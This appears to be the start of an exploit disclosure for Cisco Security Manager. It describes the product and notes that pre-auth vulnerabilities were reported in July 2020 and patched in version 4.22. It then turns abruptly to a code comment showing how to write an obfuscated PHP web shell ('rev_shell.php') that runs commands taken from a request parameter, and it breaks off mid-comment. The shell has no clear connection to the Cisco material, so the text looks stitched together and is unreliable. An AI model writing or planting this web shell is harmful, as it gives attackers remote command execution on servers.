Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10.

	/*
	* In terminal:
	* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
	* This is how the code will be produced, \xa0\xb8\xba\xab will be
	* treated as constant therefore no " needed. It is also not copyable
	* string because of non-ascii characters
